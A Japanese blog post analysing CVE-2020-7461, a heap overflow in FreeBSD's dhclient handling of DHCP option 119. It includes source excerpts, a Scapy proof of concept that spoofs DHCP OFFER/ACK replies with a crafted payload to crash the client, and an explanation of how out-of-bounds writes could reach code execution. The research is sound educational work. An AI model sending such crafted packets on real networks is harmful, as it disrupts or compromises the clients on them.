Question/Answer/Authority/Additionalセクションの数を指すQCOUNT, ANCOUNT, NSCOUNT, ARCOUNTは実際にデータに含まれるセクションの数と一致している必要があります。

攻撃コード解説

今回のNAME:WRECKでは複数のTCP/IPスタックに影響するとのことでしたが、ペーパー内ではFreeBSDに関する記述が実はほとんどありません。しかもFreeBSDDNSではなくDHCPに影響する脆弱性となっています。DNSじゃないの??という疑問が湧きましたし詳細も書かれていないのでこれは勉強も兼ねて自分でPoCを書いてみなくてはならないという謎の使命感に燃えたので書いてみました。

Nucleus NETなどは脆弱な箇所まで丁寧に説明してくれているので簡単にPoCが作れてしまいそうだという点であまりやる気が出ませんでした。また、IoT機器は数も多く実際に悪用された場合に影響が大きそうなので今回は深刻度の低そうなFreeBSDを選びました。

概要

まずペーパー内の説明を見てみます。CVE-IDはCVE-2020-7461となっています。

The vulnerability exists due to a boundary error when parsing option 119 data in DHCP packets in dhclient(8). A remote attacker on the local network can send specially crafted data to the DHCP client, trigger heap-based buffer overflow and execute arbitrary code on the target system.

どうやらDHCPのオプション119をパースする際の脆弱性のようです。DHCPクライアントに対して細工したレスポンスを返すことでヒープオーバーフローが出来るようです。かつてのDynoRootを思い出します。その時もPoCを作っていました。

github.com

まずDHCPのオプションを見てみます。RFC 3397で定義されているようです。

tools.ietf.org

"Dynamic Host Configuration Protocol (DHCP) Domain Search Option"ということでdomain searchをDHCPサーバから配るためのオプションでした。番号まで覚えていませんでしたが、自分も過去普通に使っていたオプションなので有名です。domain searchは名前解決の時に使われるもので、説明は省きますがざっくり言うとサフィックスです。気になる人は調べてみてください。

Domain Search Option

DHCPサーバとしてDHCPのオプション119内に不正なデータを入れると攻撃可能であろうということがわかりました。RFC 3397を読むとこのオプションでもDNSと同じ圧縮ポインタが使えることが分かります。基本的にDNSと同じですが、オフセットがこのオプションデータの先頭からのオフセットになっています。載っている例が分かりやすいので引用します。

+---+---+---+---+---+---+---+---+---+---+---+
|119| 9 | 3 |'e'|'n'|'g'| 5 |'a'|'p'|'p'|'l'|
+---+---+---+---+---+---+---+---+---+---+---+

+---+---+---+---+---+---+---+---+---+---+---+
|119| 9 |'e'| 3 |'c'|'o'|'m'| 0 | 9 |'m'|'a'|
+---+---+---+---+---+---+---+---+---+---+---+

+---+---+---+---+---+---+---+---+---+---+---+
|119| 9 |'r'|'k'|'e'|'t'|'i'|'n'|'g'|xC0|x04|
+---+---+---+---+---+---+---+---+---+---+---+

この例では eng.apple.com.marketing.apple.comを含んでいます。この時、 apple.com. は重複しているため圧縮ポインタの 0xC0 0x04 になっています。オフセットは 0x04 なので4バイトです。先頭は eng のラベルのサイズを指す3の位置なので、そこから4バイトずらすと apple のラベル長である5になります。そこから apple.com. を読み込んで marketing と合わせて marketing.apple.com になります。

データ部だけを抜き出したものも載せておきます。横に長くて逆に見にくいという説もありますが、オフセットの 0x04apple を指していることは少し分かりやすいかと思います。

+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
| 3 |'e'|'n'|'g'| 5 |'a'|'p'|'p'|'l'|'e'| 3 |'c'|'o'|'m'| 0 | 9 |'m'|'a'|'r'|'k'|'e'|'t'|'i'|'n'|'g'|xC0|x04|
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+

DNSと同じなので既に見たNucleus NETと同じ実装ミスが起きそうです。

ちなみに自分はRFC読んだだけだといまいちPoCを書く自信がなかったので、実際にdnsmasqを動かしてパケットを観察したりしました。 --dhcp-option=119,google.com とするだけで動くのでdnsmasqはやはり便利です。

$ dnsmasq --user=root --interface=eth1 --bind-interfaces --except-interface=lo --dhcp-range=192.168.33.100,192.168.33.200,1h --conf-file=/dev/null --dhcp-option=6,10.10.0.1 --dhcp-option=119,www.google.com,google.com --log-queries --log-facility=/var/log/dnsmasq-server.log

修正コミット

どのような実装ミスだったのかをするためには修正箇所を確認するのが手っ取り早いです。以下がdhclientの修正コミットのようです。ちなみにdhclientは名前から察する通りDHCPクライアントです。

github.com

ちょっと想像していたのと違いますね。もっと領域外にアクセスしていないか、とかそういうチェックが足されたのかと思ったら pointed_len が0未満の時に-1を返すだけになっています。

if (pointed_len < 0)
    return (-1);

詳細

このコミットの足されたファイル options.c を見てみます。

github.com

find_search_domain_name_len() という関数内の修正のようです。

少し長いですが実装を載せます。

int
find_search_domain_name_len(struct option_data *option, size_t *offset)
{
    int domain_name_len, label_len, pointed_len;
    size_t i, pointer;

    domain_name_len = 0;

    i = *offset;
    while (i < option->len) {
        label_len = option->data[i];
        if (label_len == 0) {
            /*
            * A zero-length label marks the end of this
            * domain name.
            */
            *offset = i + 1;
            return (domain_name_len);
        } else if (label_len & 0xC0) {
            /* This is a pointer to another list of labels. */
            if (i + 1 >= option->len) {
                /* The pointer is truncated. */
                warning("Truncated pointer in DHCP Domain "
                    "Search option.");
                return (-1);
            }

            pointer = ((label_len & ~(0xC0)) << 8) +
                option->data[i + 1];
            if (pointer >= *offset) {
                /*
                * The pointer must indicate a prior
                * occurrence.
                */
                warning("Invalid forward pointer in DHCP "
                    "Domain Search option compression.");
                return (-1);
            }

            pointed_len = find_search_domain_name_len(option,
                &pointer);
            if (pointed_len < 0)
                return (-1);
            domain_name_len += pointed_len;

            *offset = i + 2;
            return (domain_name_len);
        }

        if (i + label_len >= option->len) {
            warning("Truncated label in DHCP Domain Search "
                "option.");
            return (-1);
        }

        /*
        * Update the domain name length with the length of the
        * current label, plus a trailing dot ('.').
        */
        domain_name_len += label_len + 1;

        /* Move cursor. */
        i += label_len + 1;
    }

    warning("Truncated DHCP Domain Search option.");

    return (-1);
}

https://github.com/freebsd/freebsd-src/blob/373ffc62c158e52cde86a5b934ab4a51307f9f2e/sbin/dhclient/options.c#L260-L328

いつものことですがブログの説明だけ見ても理解しにくいと思うのでGitHub上でソースコードを合わせて確認すると良いです。

上の処理の中で特に以下に着目します。

         pointer = ((label_len & ~(0xC0)) << 8) +
                option->data[i + 1];
            if (pointer >= *offset) {
                /*
                * The pointer must indicate a prior
                * occurrence.
                */
                warning("Invalid forward pointer in DHCP "
                    "Domain Search option compression.");
                return (-1);
            }

そうなのです。実は既にFreeBSDでは圧縮ポインタが不正に先を指していないかなどをチェックしていました。つまり 0xff 0xff などにするとこのif文に吸い込まれてエラーになります。-1が返ると他の処理は終わってしまうため攻撃は成立しません。

じゃあ何が問題なのか?ということで先程の修正箇所についてもう少し見てみます。

         pointed_len = find_search_domain_name_len(option,
                &pointer);
            if (pointed_len < 0)
                return (-1);
            domain_name_len += pointed_len;

            *offset = i + 2;
            return (domain_name_len);

find_search_domain_name_len() の中で find_search_domain_name_len() を呼んでいます。これは圧縮ポインタの指す先を読むために再帰の実装になっています。しかし元々はこの再帰で呼ばれた find_search_domain_name_len()の戻り値である ponted_len のチェックは行われていませんでした。つまりポインタが指す先で起きたエラーは握りつぶされています。

DHCPのオプションとして圧縮ポインタを入れると、まず find_search_domain_name_len() の内部で find_search_domain_name_len() が呼ばれます。そしてそのポインタが指す先がさらに圧縮ポインタになっていて、その指す先が不正だったたとしてもそのエラーは握りつぶされます。

ですが、エラーが握りつぶされたとしてもバリデーションによって実際のオフセットを読みに行ってくれないなら意味がないじゃないかと思われるかもしれませんが、この find_search_domain_name_len()は実は単にドメイン名の長さを計算する関数になっています。そこで得られたドメイン名の長さを基にバッファを確保し、その後実際に expand_search_domain_name()ドメイン名をパースします。

expand_search_domain_name() の実装を載せておきます。

void
expand_search_domain_name(struct option_data *option, size_t *offset,
    unsigned char **domain_search)
{
    int label_len;
    size_t i, pointer;
    unsigned char *cursor;

    /*
    * This is the same loop than the function above
    * (find_search_domain_name_len). Therefore, we remove checks,
    * they're already done. Here, we just make the copy.
    */
    i = *offset;
    cursor = *domain_search;
    while (i < option->len) {
        label_len = option->data[i];
        if (label_len == 0) {
            /*
            * A zero-length label marks the end of this
            * domain name.
            */
            *offset = i + 1;
            *domain_search = cursor;
            return;
        } else if (label_len & 0xC0) {
            /* This is a pointer to another list of labels. */
            pointer = ((label_len & ~(0xC0)) << 8) +
                option->data[i + 1];

            expand_search_domain_name(option, &pointer, &cursor);

            *offset = i + 2;
            *domain_search = cursor;
            return;
        }

        /* Copy the label found. */
        memcpy(cursor, option->data + i + 1, label_len);
        cursor[label_len] = '.';

        /* Move cursor. */
        i += label_len + 1;
        cursor += label_len + 1;
    }
}

https://github.com/freebsd/freebsd-src/blob/373ffc62c158e52cde86a5b934ab4a51307f9f2e/sbin/dhclient/options.c#L330-L375

find_search_domain_name_len()とよく似ていますがシンプルになっています。そしてコメントに非常に興味深いことが書いてあります。

This is the same loop than the function above (find_search_domain_name_len). Therefore, we remove checks, they're already done. Here, we just make the copy.

バリデーションは既にfind_search_domain_name_len() で終わっているので、 expand_search_domain_name() 内ではそういったチェックを行わず単にドメイン名をパースすると言っています。これを読んだ時に全てが理解できました。

つまり、ペイロードをうまく選んでfind_search_domain_name_len() のバリデーションをすり抜けて、expand_search_domain_name() 内で実際に領域外のメモリアクセスを行います。

DHCP Discover/Offer/Request/Ack

DHCPプロトコルはまず最初誰に問い合わせるかも分からないところから始まるのでDHCPクライアントはブロードキャストでDHCPDISCOVERを投げます。そしてDHCPサーバからこのIPアドレスどう?というDHCPOFFERが届いて、実際にそのアドレスをクライアントがDHCPREQUESTしてサーバがDHCPACKを返すという流れです。Wikiの図を引用しておきます。

https://upload.wikimedia.org/wikipedia/commons/thumb/e/e4/DHCP_session.svg/520px-DHCP_session.svg.png

DISCOVERYじゃなくてDISCOVERじゃないんだっけ?という疑問がありますが今回は関係ないので一度忘れます。

この各メッセージの詳細は今回のPoCの本筋とは関係ないですが悪意あるAckを返すためにOfferなども偽装する必要があります。その辺りの実装も載せておきます。今回も例によってPythonのScapyで書いています。

chaddr = binascii.unhexlify(eth.src.replace(":", ""))

ethernet = Ether(dst=eth.src, src=src_mac)
ip = IP(dst=dst_addr, src=src_addr)
udp = UDP(sport=udp.dport, dport=udp.sport)
bootp = BOOTP(
    op="BOOTREPLY",
    yiaddr=dst_addr,
    siaddr=gateway,
    chaddr=chaddr,
    xid=bootp.xid,
)
dhcp = DHCP(
    options=[
        ("message-type", "offer"),
        ("server_id", src_addr),
        ("subnet_mask", subnet_mask),
        ("end"),
    ]
)

ack = ethernet / ip / udp / bootp / dhcp
sendp(ack, iface=iface)

あまり重要じゃないので、ふーんぐらいに思っておいてもらえばOKです。各変数はこの処理の外で定義されているので、気になる人はあとでGitHubの方を確認してください。

そして肝心なのがDHCP Ackで、このオプションに細工した値を入れていきます。Offerとほぼ同じなのでDHCPの部分だけ載せておきます。

dhcp = DHCP(
    options=[
        ("message-type", "ack"),
        ("server_id", src_addr),
        ("lease_time", 43200),
        ("subnet_mask", subnet_mask),
        (119, b""),
        ("end"),
     ]
)

残念ながらScapyはDHCPオプション119に対応していなかったので自前でペイロードを組み立てる必要があります。上では今 b"" になっていますがこの部分にペイロードを入れていきます。

PoC組み立て

先程説明したように、最初の圧縮ポインタは自分より前を正しく指す必要があります。つまり、以下のようにオフセットを 0xff にするだけだと Invalid forward pointer とエラーが出て終了してしまいます。

+---+---+---+---+
| 1 |'A'|xC0|xFF|
+---+---+---+---+

では次にシンプルに 0x00 で先頭を指してみます。

+---+---+---+---+
| 1 |'A'|xC0|x00|
+---+---+---+---+

ですがこれも実は動きません。 Invalid forward pointer のところのif文は以下のようになっています。

if (pointer >= *offset) {

この offset は最初0になっているため、 pointer がいくつになろうとここに吸われてしまいます。

ではどうすればよいかと言うと、圧縮ポインタを含むドメイン名の前に他のドメイン名があれば良いです。元々それが圧縮ポインタの目的なので、より正しい見た目に近づけるという感じです。

+---+---+---+---+---+
| 1 |'A'|x00|xC0|x00|
+---+---+---+---+---+

これは正しく動きます。まず長さ1の A というラベルが取り出されます。そしてその次がNULLになっているので終端し、 A. というドメイン名になります。そして次のドメイン名取り出しのループになり、 0xc0 が参照されます。そしてオフセットが計算され、0であるため先頭を参照します。つまり A. というドメイン名とそれを参照して得られた A. というドメイン名の2つが含まれることになります。

ポインタの指す先は本来ラベルの長さにしなければなりませんが、少しずらしてラベル内の値にしてみます。最初のドメイン名の中に値を入れ、オフセットがそこを指すようにします。そうするとその値がラベル長として解釈されます。 xFF などにしたくなりますが、 xFF は上位2ビットが 0b11 のため圧縮ポインタ判定されます。というかFreeBSDの実装は実は間違っていて label_len & 0xC0 しているので上位2ビットのいずれかが1なら圧縮ポインタ判定されます。これも解釈の違いで脆弱性の違いになりうるとペーパー内で説明されています。ということでラベル長の表現をしたければ64未満にする必要があります。今回は x3F=63 にします。

+---+---+---+---+---+
| 1 |x3F|x00|xC0|x01|
+---+---+---+---+---+

まず長さ1の 0x3f というラベルが取り出されます。これは一見不正に見えますが、DNSでは実態としてどのようなバイトでも受け入れなければならないため実装も不正なバイトを弾く処理などは通常入っていません。その辺りもペーパー内で説明されているので興味がある方はどうぞ。そして圧縮ポインタに到達し、オフセットが1のため 0xc0 を参照します。すると find_search_domain_name_len() が再度呼ばれwhileループに入るのですが、長さが 0x3f になっています。これはラベル長と解釈されるため長さが63バイトになりますが、FreeBSDはその辺りもちゃんとバリデーションが入っており Truncated label in DHCP Domain Search option というエラーになります。 if (i + label_len >= option->len) { この処理でラベル長が全体の長さを超える場合にエラーにしています。

しかし前述した通りこのエラーは握りつぶされるため、処理は止まりません。通常通り以下の処理が進められます。

domain_name_len += pointed_len;

*offset = i + 2;
return (domain_name_len);

その結果、63バイト読み込まれるので領域外アクセス成功と思いきや、実際にはエラーで止まってしまいます。なぜかと言うと pointed_len は-1になっているため、 domain_name_len += pointed_len; の処理によって domain_name_len も-1になってしまうためです。そうするとたとえreturn (domain_name_len); により正常に返したとしても呼び出し側では負の値が返ってきたのでエラーと判定してしまいます。

ではどう回避すれば良いかというと、 domain_name_len が負にならないように圧縮ポインタの前にラベルを足します。つまり以下のようになります。

+---+---+---+---+---+---+---+
| 1 |x3F|x00| 1 |'A'|xC0|x01|
+---+---+---+---+---+---+---+

こうすると圧縮ポインタを読み込む前に A というラベルが取り出され domain_name_len は1になっているため、-1されても0になります。

流れは以下のようになります。

  1. find_search_domain_name_len()が呼ばれる
    1. 1つ目のドメイン名処理
      1. 2バイトのラベル xC0 xFF が取り出される
      2. NULLが来たので終了
    2. 2つ目のドメイン名処理
      1. 1バイトのラベル A が取り出される
      2. xC0 が来たのでオフセットを計算する。今回は1バイトになる。
      3. find_search_domain_name_len()が呼ばれる
        1. ラベル長 x3F を取り出す
        2. このラベル長 label_lenペイロード全体より大きいので Truncated label in DHCP Domain Search option でエラーになる
      4. -1が返るが pointed_len が負の値でもエラーは握りつぶされ domain_name_len に足される
  2. find_search_domain_name_len() によって返された domain_name_len に基づきバッファを確保
  3. expand_search_domain_name() が呼ばれる
    1. find_search_domain_name_len() と同様の処理が行われる
    2. ただしバリデーションがないため label_len が63バイトでもエラーにならない
    3. memcpy(cursor, option->data + i + 1, label_len); により63バイト読み込まれる

という流れで無事に領域外のメモリアクセスが出来ます。Readが出来るのは分かったけどWriteはどうなんだ?というと、上述したように domain_name_len は-1されることで長さがずれます。つまり確保された領域より実際にはドメイン名は大きくなるため領域外への書き込みもできます。この辺りはNucleus NETで説明したのと同じです。ラベル内に書き込みたいバイト列を置いておけば攻撃可能です。

ということでRCEに繋げられる可能性のある攻撃ペイロードについて解説しましたが、自分のPoCでは無限ループにしておきます。ポインタの指す先をさらにポインタにして自分を指します。そうするとエラーは握りつぶされつつ自分を参照してしまうので無限ループになります。

+---+---+---+---+---+---+---+---+
| 2 |xC0|x01|x00| 1 |'A'|xC0|x01|
+---+---+---+---+---+---+---+---+

ということで完成です。自己参照している方のポインタはエラーになりますが例によって握りつぶされるので expand_search_domain_name() で無限ループになります。

最終的なPythonコードを載せておきます。

dhcp = DHCP(
    options=[
        ("message-type", "ack"),
        ("server_id", src_addr),
        ("lease_time", 43200),
        ("subnet_mask", subnet_mask),
        (
            119,
            b"\x02\xc0\x01\x00\x01\x41\xc0\x01",
        ),
        ("end"),
    ]
)

PoC実行

では実行してみます。リポジトリは以下にあります。

github.com

Vagrantで環境を作るのですが、VirtualBoxがホストオンリーアダプターでデフォルトでDHCPサーバを有効にしており、そのサーバがDHCPOFFERを返してしまうせいでうまくいきません。無効にしておきましょう。

f:id:knqyf263:20210416192135p:plain

なお、自分はDHCPサーバを無効にしたのにうまく無効になってくれずVM再起動や色々試したのですがやはりダメでした。最終的にはVirtualBoxも落としてみたりガチャガチャやってたら無効になってくれたのですが、どうやると完全にうまくいくのか分かってないです。PoC書く中でここに一番時間かかりました。

攻撃の流れは以下のようになります。

f:id:knqyf263:20210416192215p:plain

まず適当にVagrantFreeBSDを起動します。

$ cd victim
$ vagrant up

あとは攻撃者用のVMも起動してpythonやら上記のPoCをダウンロードしておきます。

$ cd ../attacker
$ vagrant up
$ vagrant ssh
vagrant@vagrant:~$ sudo apt -y update && apt -y install python3 python3-pip
vagrant@vagrant:~$ wget https://raw.githubusercontent.com/knqyf263/CVE-2020-7461/main/poc.py

これで準備は完了です。

PoCを実行します。

vagrant@vagrant:~$ python3 poc.py
Sniffing...

これでDHCPのブロードキャストを待ち受ける状態になっています。あとは別ターミナルを開いてFreeBSD側でDHCPOFFERを出せばOKです。

$ cd victim
$ vagrant ssh
vagrant@freebsd:~ % sudo dhclient em1
DHCPREQUEST on em1 to 255.255.255.255 port 67
Invalid forward pointer in DHCP Domain Search option compression.
Segmentation fault

暫く待つと Segmentation fault が出ます。無限ループした結果、メモリが溢れて死んでいます。

ということでPoC完成です。さらーっと説明しましたが完全に0から自分で書いたので結構時間かかりました。でも面白かったです。

参考URL

まとめ

DNSメッセージの圧縮実装不備による脆弱性であるNAME:WRECKについて解説しPoCを書くところまで行いました。IoT/OT機器を管理している人にとっては無視できない脆弱性かなと思います。一方でFreeBSDのみ運用している人はDHCPを細工する必要があり攻撃難易度はかなり高いので、緊急性は低いかと思います。さらにFreeBSDサンドボックス内でdhclientで実行するようになっているので攻撃ができる環境が整ってもRCEまで持っていくのは困難です。

今回の脆弱性は比較的簡単だったのでペーパーはすぐに理解できましたが、いざPoC書いてみたら案の定がっつり時間かかったのでいつも言っていますがやはり手を動かすことを忘れないようにしたいです。